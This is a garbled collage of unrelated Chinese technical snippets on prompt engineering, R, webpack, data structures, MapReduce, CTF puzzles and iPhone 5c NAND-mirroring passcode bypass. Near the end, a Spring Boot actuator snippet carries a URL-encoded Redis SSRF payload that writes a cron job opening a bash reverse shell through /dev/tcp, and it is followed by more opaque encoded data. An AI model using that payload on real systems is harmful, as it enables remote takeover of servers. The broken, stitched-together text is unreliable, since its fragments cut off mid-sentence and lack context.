今天我们要聊的5C提示词工程框架,就是要教你如何和AI进行"有效沟通",让它真正成为你的贴心助手。 图1:传统AI对话 vs 5C框架对话的效果对比 帮你搞定工作汇报的那些事儿想象一下这个场景:你是一名产品经理,下周一要向老板汇报AI助手产品的市场调研结果。时间紧,任务重,但你又想做得漂亮一点。 我们就用这个场景来贯穿整篇文章,看看5C框架如何一步步帮你搞定这个任务。第一个C:清晰度(Clarity) - 说人话,别绕弯子什么是清晰度?清晰度就是说人话。 技巧3:多角度验证请分别从用户、厂商、渠道商三个角度评估这个产品策略的可行性总结:5C框架的核心价值通过我们这个市场分析的完整案例,你应该能感受到5C框架的威力了:清晰度让AI理解你的真实需求上下文让AI 给出贴合实际的建议命令让AI输出你想要的格式链式让复杂任务变得可控持续优化让结果越来越完美图7:5C框架带来的综合价值 最重要的是,这个框架不仅适用于工作场景,学习、生活中的任何AI交互都能用上。
#apply函数,沿着数组的某一维度处理数据 #例如将函数用于矩阵的行或列 #与for/while循环的效率相似,但只用一句话可以完成 #apply(参数):apply(数组,维度,函数/函数名) > x <- matrix(1:16,4,4) > x [,1] [,2] [,3] [,4] [1,] 1 5 9 13 [2,] 2 6 10 14 [3,] 3 7 11 15 [4,] 4 8 12 16 >
日志元数据是从零开始创建 WordPress 主题系列教程的五篇的第三部分,今天我们将开始讲解日志的元数据(Postmetadata):日期(date),分类(categories),作者(author),评论数(number of comments),以及其他和日志有关系的信息。
试题 算法训练 4-2找公倍数 资源限制 内存限制:256.0MB C/C++时间限制:1.0s Java时间限制:3.0s Python时间限制:5.0s 问题描述 这里写问题描述。
mongo登录认证失败, 求教如何解决 5C 登陆认证两种方式,一种先登陆在认证:db.auth("xxx","xxx"); 一种直接认证:mongo -u xxx -p xxx --authenticationDatabase
数据结构第4-2讲双向链表 链表是线性表的链式存储方式,逻辑上相邻的数据在计算机内的存储位置不一定相邻,那么怎么表示逻辑上的相邻关系呢? 可以给每个元素附加一个指针域,指向下一个元素的存储位置。
接上节4-1 Tree Shaking 概念详解末尾,我们可以看到,在 mode 进行切换时,webpack.config.js 的配置也是不一样的。这很好理解,开发环境中我们更多地是考虑开发和调试方便,生产环境我们更多考虑性能。但我们总不会每次切换环境的时候,还要手动去更改配置吧。最简单就是保存两份配置,对应不同的环境。
索引寄存器的端口号是 0x3d4,可以向它写入一个值,用来指定内部的某个寄存器。比如, 两个 8 位的光标寄存器,其索引值分别是 14(0x0e)和 15(0x0f),分别用于提供光标位置的高 8 位和低 8 位。 指定了寄存器之后,要对它进行读写,这可以通过数据端口 0x3d5 来进行。 高八位 和第八位里保存这光标的位置,显卡文本模式显示标准是25x80,这样算来,当光标在屏幕右下角时,该值为 25×80-1=1999
上一篇,我们介绍了数量性状进行GWAS的一般线性模型分析的方法(笔记 | GWAS 操作流程4:LM模型assoc),这里我们考虑一下数字协变量,然后用R语言进行对比。
最近剑桥大学一名安全研究人员Sergei Skorobogatov研究出一种NAND镜像技术,完全能够绕过iPhone 5c的密码重试次数限制,更悲剧的是,成本只需要100美元! 很多技术专家都认为,圣贝纳迪诺枪击案中的那台iPhone 5c应该就是用NAND镜像的方式进行破解的,但业内始终都没有真正行之有效的PoC出现。 iPhone 5c之上的NAND芯片不仅焊在LGA无引线封装中,而且还用环氧化合物强力胶,加上不破坏周围的组件,拆卸时对加热的高温也有控制要求。 ? ,将这颗闪存芯片装到需要破解的那台iPhone 5c上。就像前面说的一样,每台iPhone的UID是不一样的,所以装上去之后,肯定是不能正常开机的。 将原有的NAND芯片接回到iPhone 5c,开机试密码,6次错误后关机。再把NAND芯片卸下,接到测试板上。
代码清单4-2 struct point { double x, y; }; double Product(point A, point B, point C) { return
上一篇文章,讲解了如果通过配置修改小组件行为,只不过配置数据是写死的,本文将继续探索配置数据的高级用法,配置数据在小组件中动态创建的
文章目录 一、4-2 二、答题步骤 1.词频分析 总结 一、4-2 题目链接:https://adworld.xctf.org.cn/task/task_list?
本系列是《玩转机器学习教程》一个整理的视频笔记。本小节主要介绍使用sklearn实现KNN算法。
一个长度为len(1<=len<=1000000)的顺序表,数据元素的类型为整型,将该表分成两半,前一半有m个元素,后一半有len-m个元素(1<=m<=len),设计一个时间复杂度为O(N)、空间复杂度为O(1)的算法,改变原来的顺序表,把顺序表中原来在前的m个元素放到表的后段,后len-m个元素放到表的前段。 注意:交换操作会有多次,每次交换都是在上次交换完成后的顺序表中进行。
经观察为Base64,注意中间的反斜杠是误导,删除后Base64解码得到: 97-3 1-3 1-3 3-2 3-2 3-2 1-2 1-5 1-2 1-3 3-2 97-3 3-2 94-1 1-5 4- 2 4-2 4-2 4-2 97-3 1-3 3-2 4-2 1-5 3-2 4-2 3-2 3-2 3-2 4-2 97-3 3-2 1-5 1-5 3-2 1-3 4-2 4-2 1-2 3-2 1 -3 4-2 4-2 4-2 3-2 94-1 1-3 1-3 1-3 3-2 3-2 1-3 94-1 1-3 94-1 4-2 3-2 1-2 97-3 97-3 1-3 通过上面的坐标提取二维码上的色块值为
习题4-2 求幂级数展开的部分和 已知函数ex 可以展开为幂级数1+x+x2/2!+x3/3!+⋯+xk/k!+⋯。
通过扫描所有子域名ip,从中找到spring boot框架的网站, ctuator/auditLog actuator/auditevents actuator/autoconfig actuator/ %75%73%68%61%6c%6c%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%0d%0a%31%0d%0a%24%35%39%0d%0a%5c %6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70% 2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a 2f%31%32%37%2e%30%2e%30%2e%31%3a%31%32%32%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a
MapReduce计算框架会自动将这些中间结果数据按照键做聚合处理,并将键相同的数据分发给reduce函数处理(用户可以设置分发规则)。 我们可以从图4-2看出端倪。 ? 图4-2 用MapReduce的思想完成苹果计数 A的map函数的输入的格式为键值对appleId-count,比如“11-1”表示appleId为11的苹果个数为1,经过map函数的累和,即将所有appleId 的count相加,输出为新的键值对AppleCount-6,此时B也进行同样的操作,由于A和B的map函数输出的键值对的键相同,都为“AppleCount”,所以MapReduce框架会将其都分发到C作为 利用分而治之的思想,可以将很多复杂的数据分析问题转变为一系列MapReduce作业,利用Hadoop的提供MapReduce计算框架,实现分布式计算,这样就能对海量数据进行复杂的数据分析,这也是MapReduce
30%32%30%5c%75%30%30%35%33%5c%75%30%30%37%34%5c%75%30%30%37%32%5c%75%30%30%36%39%5c%75%30%30%36%65%5c 32%5c%75%30%30%33%33%5c%75%30%30%36%33%5c%75%30%30%33%36%5c%75%30%30%36%35%5c%75%30%30%33%30%5c%75%30% 30%36%32%5c%75%30%30%33%38%5c%75%30%30%36%31%5c%75%30%30%33%39%5c%75%30%30%36%33%5c%75%30%30%33%31%5c 32%5c%75%30%30%33%62%5c%75%30%30%32%30%5c%75%30%30%35%33%5c%75%30%30%37%34%5c%75%30%30%37%32%5c%75%30% 30%36%39%5c%75%30%30%36%65%5c%75%30%30%36%37%5c%75%30%30%32%30%5c%75%30%30%37%30%5c%75%30%30%36%31%5c